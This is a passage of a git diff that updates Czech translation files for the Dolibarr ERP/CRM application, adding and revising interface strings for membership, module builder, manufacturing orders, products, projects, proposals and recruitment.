SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Obsah Vaší členské karty # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Chceme vám oznámit, že vaše žádost o členství byla přijata.

      ThisIsContentOfYourMembershipWasValidated=Chtěli bychom vás informovat, že vaše členství bylo ověřeno s následujícími informacemi:

      -ThisIsContentOfYourSubscriptionWasRecorded=Chceme vám oznámit, že vaše nové předplatné bylo zaznamenáno.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=Chceme vám oznámit, že vaše předplatné má brzy skončit nebo již uplynula (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Doufáme, že jej obnovíte.

      ThisIsContentOfYourCard=Toto je shrnutí informací, které máme o vás. Pokud něco není správné, kontaktujte nás.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Předmět oznámení o přijetí v případě automatického zapisování hosta @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Obrat (pro firmu), nebo rozpočet (pro nadaci) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Přejít na integrované on-line platební stránky +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Od přírody MembersStatisticsByProperties=Statistika členů podle charakteru VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/cs_CZ/modulebuilder.lang b/htdocs/langs/cs_CZ/modulebuilder.lang index 2a3a143f2d5..d5c30ff53c8 100644 --- a/htdocs/langs/cs_CZ/modulebuilder.lang +++ b/htdocs/langs/cs_CZ/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Cesta, kde jsou moduly generovány/editovány (první adresář pro externí moduly definované v %s): %s ModuleBuilderDesc3=Generované / upravitelné moduly nalezené: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Modul je detekován jako "upravitelný", když soubor %s ? Tím se změní kód ve třídě PHP, ale také odstraníme sloupec z definice tabulky objektu. NotNull=Ne NULL záznam NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Je to opatření DirScanned=Adresář naskenován NoTrigger=Žádný spouštěč NoWidget=Žádný widget -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=Seznam položek menu ListOfDictionariesEntries=Seznam položek slovníků ListOfPermissionsDefined=Seznam definovaných oprávnění SeeExamples=Viz příklady zde -EnabledDesc=Podmínka, aby bylo toto pole aktivní (příklady: 1 nebo $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Je pole viditelné? (Příklady: 0 = Nikdy neviditelné, 1 = Viditelné v seznamu a vytvářet/aktualizovat/prohlížet formuláře, 2 = Viditelné pouze v seznamu, 3 = Viditelné pouze při vytváření/aktualizaci/zobrazit formulář (není v seznamu), 4 = Viditelné v seznamu a pouze formulář aktualizace/zobrazení (nevytvářet), 5 = viditelné pouze ve formuláři pro prohlížení koncových zobrazení (nevytvářet, neaktualizovat).

      Použití záporné hodnoty znamená, že pole není ve výchozím nastavení zobrazeno v seznamu, ale může být vybráno pro zobrazení).

      Může to být výraz, například:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Zobrazit v PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Může být hodnota pole kumulativní, aby se dostala do seznamu celkem? (Příklady: 1 nebo 0) SearchAllDesc=Používá se pole pro vyhledávání pomocí nástroje rychlého vyhledávání? (Příklady: 1 nebo 0) SpecDefDesc=Zadejte zde veškerou dokumentaci, kterou chcete poskytnout s modulem, která ještě nebyla definována jinými kartami. Můžete použít .md nebo lepší, bohatou syntaxi .asciidoc. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Použijte specifickou adresu URL editoru UseSpecificFamily = Použijte konkrétní rodinu UseSpecificAuthor = Použijte specifického autora UseSpecificVersion = Použijte specifickou počáteční verzi -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Pokud toto zaškrtnete, bude vygenerován nějaký kód pro přidání pole „Generovat dokument“ do záznamu. -ShowOnCombobox=Zobrazit hodnotu do komboboxu +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Klíč pro popis CSSClass=CSS for edit/create form CSSViewClass=CSS for read form CSSListClass=CSS for list NotEditable=Nelze upravovat ForeignKey=Cizí klíč -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Převodník ASCII na HTML AsciiToPdfConverter=Převodník ASCII na PDF TableNotEmptyDropCanceled=Tabulka není prázdná. Odstranění tabulky bylo zrušeno. ModuleBuilderNotAllowed=The module builder is available but not allowed to your user. ImportExportProfiles=Import and export profiles -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/cs_CZ/mrp.lang b/htdocs/langs/cs_CZ/mrp.lang index de13de20ca1..d8dfd0b2157 100644 --- a/htdocs/langs/cs_CZ/mrp.lang +++ b/htdocs/langs/cs_CZ/mrp.lang @@ -11,8 +11,8 @@ Bom=Účty materiálu BillOfMaterials=Bill of Materials BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Nastavení kusovníku modulu BOM -ListOfBOMs=Seznam kusovníků - kusovník -ListOfManufacturingOrders=Seznam výrobních objednávek +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Výrobní zakázky NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=Šablony číslování kusovníku @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials ConfirmCloneMo=Opravdu chcete klonovat výrobní objednávku %s? ManufacturingEfficiency=Účinnost výroby ConsumptionEfficiency=Účinnost spotřeby +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Hodnota 0,95 znamená průměrně ztrátu vyrobeného produktu ve výši 5%% DeleteBillOfMaterials=Odstranit kusovník @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=For a quantity to disassemble of %s ConfirmValidateMo=Opravdu chcete ověřit tuto výrobní objednávku? ConfirmProductionDesc=Kliknutím na '%s' potvrdíte spotřebu a / nebo výrobu pro nastavená množství. Tím se také aktualizuje pohyb zásob a zaznamenávají se pohyby zásob. ProductionForRef=Výroba %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Pokud je dosaženo množství, které je třeba spotřebovat a vyrobit, uzavře se automaticky výrobní objednávka NoStockChangeOnServices=Žádná změna zásob u služeb ProductQtyToConsumeByMO=Množství produktu, které je třeba spotřebovat otevřeným MO @@ -80,6 +83,7 @@ ProductsToProduce=Výrobky k výrobě UnitCost=Jednotková cena TotalCost=Celkové náklady BOMTotalCost=Náklady na výrobu tohoto kusovníku na základě nákladů na každé spotřebované množství a produkt (použijte cenu Cena, pokud je definována, jinak průměrná vážená cena, pokud je definována, jinak nejlepší kupní cena) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO Workstation=Workstation @@ -107,3 +111,10 @@ THMEstimatedHelp=This rate makes it possible to define a forecast cost of the it BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/cs_CZ/other.lang b/htdocs/langs/cs_CZ/other.lang index d0657a03dde..2a69f917379 100644 --- a/htdocs/langs/cs_CZ/other.lang +++ b/htdocs/langs/cs_CZ/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Objednávka byla schválena Notify_ORDER_SUPPLIER_REFUSE=Objednávka byla odepřena Notify_PROPAL_VALIDATE=Nabídka zákazníka ověřena Notify_PROPAL_CLOSE_SIGNED=Návrh zákazníka byl uzavřen +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Návrh zákazníka byl zamítnut +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Komerční návrh zaslán e-mailem Notify_WITHDRAW_TRANSMIT=Stažení převodu Notify_WITHDRAW_CREDIT=Stažení kreditu @@ -181,6 +183,7 @@ SizeUnitfoot=stopa SizeUnitpoint=bod BugTracker=Hlášení chyb SendNewPasswordDesc=Tento formulář umožňuje požádat o nové heslo. Bude zaslán na vaši e-mailovou adresu.
      Změna se projeví až po kliknutí na potvrzovací odkaz v e-mailu.
      Zkontrolujte doručenou poštu. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Zpět na přihlašovací stránku AuthenticationDoesNotAllowSendNewPassword=Režim ověřování je %s.
      V tomto režimu Dolibarr nepozná, zda může změnit vaše heslo.
      Obraťte se na správce systému, pokud chcete heslo změnit. EnableGDLibraryDesc=Nainstalujte nebo povolte GD knihovnu ve vaší PHP pro využití této možnosti @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Faktura %s byla ověřena. EMailTextInvoicePayed=Faktura %s byla zaplacena. EMailTextProposalValidated=Návrh %s byl ověřen. EMailTextProposalClosedSigned=Návrh %s byl uzavřen podepsán. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Objednávka %s byla ověřena. EMailTextOrderApproved=Objednávka %s byla schválena. EMailTextOrderValidatedBy=Objednávka %s byla zaznamenána %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Zavřít Autofill = Autofill + +# externalsite +ExternalSiteSetup=Nastavení odkazu na externí webové stránky +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Modul Externí stránky nebyl správně nakonfigurován. +ExampleMyMenuEntry=Moje menu vstup + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Nepodařilo se odstranit soubor %s. +FTPFailedToRemoveDir=Nepodařilo se odstranit adresář %s : zkontrolujte oprávnění a že je adresář prázdný. +FTPPassiveMode=Pasivní režim +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/cs_CZ/products.lang b/htdocs/langs/cs_CZ/products.lang index 0643566beb6..75f4e5d34a3 100644 --- a/htdocs/langs/cs_CZ/products.lang +++ b/htdocs/langs/cs_CZ/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Jste si jisti, že chcete smazat tuto produktovou řadu ProductSpecial=Speciální QtyMin=Min. nákupní množství PriceQtyMin=Cena min. -PriceQtyMinCurrency=Cena (měna) pro toto množství. (žádná sleva) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=DPH (pro tento prodejce / produkt) DiscountQtyMin=Sleva pro tento počet. NoPriceDefinedForThisSupplier=Pro tento dodavatel / produkt není definována žádná cena / množství @@ -261,7 +262,7 @@ Quarter1=I. čtvrtletí Quarter2=II čtvrtletí Quarter3=III čtvrtletí Quarter4=IV čtvrtletí -BarCodePrintsheet=tisk čárových kódů +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=Pomocí tohoto nástroje můžete tisknout listy samolepek čárových kódů. Vyberte formát stránky štítku, typ čárového kódu a hodnotu čárového kódu, poté klikněte na tlačítko %s . NumberOfStickers=Počet samolepek k tisku na stránce PrintsheetForOneBarCode=Vytiskněte několik štítků pro jeden čárový kód @@ -344,9 +345,9 @@ PossibleValues=Možné hodnoty GoOnMenuToCreateVairants=Přejděte do nabídky %s - %s a připravte varianty atributů (například barvy, velikost, ...) UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers ProductSupplierDescription=Popis dodavatele produktu -UseProductSupplierPackaging=Použijte obaly na dodavatelské ceny (při přidávání / aktualizaci řádku v dodavatelských dokumentech přepočítávejte množství podle balení stanoveného na dodavatelskou cenu) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Obal -PackagingForThisProductDesc=On supplier order, you will automaticly order this quantity (or a multiple of this quantity). Cannot be less than minimum buying quantity +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=Množství linky bylo přepočítáno podle obalu dodavatele #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Akce je k dispozici pouze u varianty výrobk ProductsPricePerCustomer=Ceny produktů na zákazníky ProductSupplierExtraFields=Další atributy (dodavatelské ceny) DeleteLinkedProduct=Odstraňte podřízený produkt spojený s kombinací -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Vážená průměrná cena PMPValueShort=WAP mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=Default BOM DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/cs_CZ/projects.lang b/htdocs/langs/cs_CZ/projects.lang index d175d94ba51..1d631bb6343 100644 --- a/htdocs/langs/cs_CZ/projects.lang +++ b/htdocs/langs/cs_CZ/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Tento pohled zobrazuje všechny projekty a úkoly které máte o TasksDesc=Tento pohled zobrazuje všechny projekty a úkoly (vaše uživatelské oprávnění vám umožňuje vidět vše). AllTaskVisibleButEditIfYouAreAssigned=Všechny úkoly pro kvalifikované projekty jsou viditelné, ale můžete zadat čas pouze pro úkoly přiřazené vybranému uživateli. Přiřazení úlohy, pokud potřebujete zadat čas. OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Úkoly projektů ProjectCategories=Štítky projektu / kategorie NewProject=Nový projekt @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Počet otevřených projektů podle stavu OpportunitiesStatusForProjects=Počet projektů podle stavu ShowProject=Zobrazit projekt ShowTask=Zobrazit úkol +SetThirdParty=Set third party SetProject=Nastavit projekt +OutOfProject=Out of project NoProject=Žádný projekt nedefinován či vlastněn NbOfProjects=Počet projektů NbOfTasks=Počet úkolů @@ -122,7 +125,8 @@ ValidateProject=Ověřit projekt ConfirmValidateProject=Opravdu chcete tento projekt ověřit? CloseAProject=Zavřít projekt ConfirmCloseAProject=Jste si jisti, že chcete ukončit tento projekt? -AlsoCloseAProject=Také blízko projektu (udržujte jej otevřený, pokud stále potřebujete sledovat výrobní úkoly na něm) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Otevřít projekt ConfirmReOpenAProject=Jste si jisti, že chcete znovu otevřít tento projekt? ProjectContact=Kontakty na projektu @@ -165,7 +169,7 @@ OpportunityProbability=Pravděpodobnost vedení OpportunityProbabilityShort=Odevzdání probabu. OpportunityAmount=množství příležitostí OpportunityAmountShort=množství příležitostí -OpportunityWeightedAmount=Vážená částka příležitosti +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. vážené množství OpportunityAmountAverageShort=Průměrná výše vedení OpportunityAmountWeigthedShort=Vážená částka @@ -238,7 +242,7 @@ OppStatusPENDING=Čeká OppStatusWON=Vyhrál OppStatusLOST=Ztracený Budget=Rozpočet -AllowToLinkFromOtherCompany=Povolit propojení projektu s jinou firmou

      Podporované hodnoty:
      - Udržovat prázdné: Může propojit jakýkoli projekt společnosti (výchozí)
      - "all": Může propojit jakýkoli projekt, dokonce i projekty jiných firem
      - identifikátory třetích stran oddělené čárkami: lze propojit všechny projekty těchto třetích stran (Příklad: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Nejnovější projekty %s LatestModifiedProjects=Nejnovější %smodifikované projekty OtherFilteredTasks=Další filtrované úkoly @@ -259,7 +263,7 @@ TimeSpentInvoiced=Čas strávený účtováním TimeSpentForIntervention=Strávený čas TimeSpentForInvoice=Strávený čas OneLinePerUser=Jeden řádek na uživatele -ServiceToUseOnLines=Služba pro použití na tratích +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=Faktura %s byla vygenerována z času stráveného na projektu InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project ProjectBillTimeDescription=Zkontrolujte, zda zadáváte časový rozvrh úkolů projektu A máte v úmyslu vygenerovat faktury z časového rozvrhu, abyste fakturovali zákazníkovi projektu (nekontrolujte, zda máte v úmyslu vytvořit fakturu, která není založena na zadaných časových rozvrzích). Poznámka: Chcete-li vygenerovat fakturu, přejděte na kartu „Čas strávený“ projektu a vyberte řádky, které chcete zahrnout. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Zisk se vypočítá pomocí AddPersonToTask=Add also to tasks UsageOrganizeEvent=Usage: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. @@ -294,3 +298,4 @@ EnablePublicLeadForm=Enable the public form for contact NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. NewLeadForm=New contact form LeadFromPublicForm=Online lead from public form +ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/cs_CZ/propal.lang b/htdocs/langs/cs_CZ/propal.lang index fa142eba82f..e100ebcd17c 100644 --- a/htdocs/langs/cs_CZ/propal.lang +++ b/htdocs/langs/cs_CZ/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=Žádné návrhy nabídek CopyPropalFrom=Vytvořit obchodní nabídku zkopírováním existující nabídky CreateEmptyPropal=Vytvoření prázdného komerčního návrhu nebo ze seznamu produktů / služeb DefaultProposalDurationValidity=Doba platnosti výchozí obchodní nabídky (ve dnech) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Použijte kontakt / adresu s typem "Návrh na další kontakt", pokud je definována namísto adresy subjektu jako adresy příjemce návrhu ConfirmClonePropal=Jste si jisti, že chcete kopírovat obchodní nabídku %s ? ConfirmReOpenProp=Jste si jisti, že chcete otevřít zpět obchodní nabídku %s ? @@ -64,36 +65,54 @@ AvailabilityPeriod=Dostupné zpoždění SetAvailability=Nastavte si dostupné zpoždění AfterOrder=po objednání OtherProposals=Další nabídky + ##### Availability ##### AvailabilityTypeAV_NOW=Bezprostřední AvailabilityTypeAV_1W=1 týden AvailabilityTypeAV_2W=2 týdny AvailabilityTypeAV_3W=3 týdny AvailabilityTypeAV_1M=1 měsíc -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Zástupce následující vypracované nabídky TypeContact_propal_external_BILLING=Fakturační kontakt zákazníka TypeContact_propal_external_CUSTOMER=Kontakt se zákazníkem pro následující vypracované nabídky TypeContact_propal_external_SHIPPING=Zákaznický kontakt pro doručení + # Document models -DocModelAzurDescription=Kompletní návrhový model (stará implementace azurové šablony) -DocModelCyanDescription=Kompletní návrhový model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Případ následovaný +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Výchozí šablona při uzavírání obchodní nabídky (nevyfakturované) DefaultModelPropalCreate=Tvorba z výchozí šablony DefaultModelPropalToBill=Výchozí šablona při uzavírání obchodní nabídky (bude se fakturovat) -DefaultModelPropalClosed=Výchozí šablona při uzavírání obchodní nabídky (nevyfakturované) +DocModelAzurDescription=Kompletní návrhový model (stará implementace azurové šablony) +DocModelCyanDescription=Kompletní návrhový model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Odmítnout +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Písemný souhlas, razítko firmy, datum a podpis ProposalsStatisticsSuppliers=Statistika návrhů dodavatelů -CaseFollowedBy=Případ následovaný -SignedOnly=Podepsáno pouze -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Podepsáno pouze diff --git a/htdocs/langs/cs_CZ/recruitment.lang b/htdocs/langs/cs_CZ/recruitment.lang index 745df2ae9f8..96d3a9b9b17 100644 --- a/htdocs/langs/cs_CZ/recruitment.lang +++ b/htdocs/langs/cs_CZ/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Mzda 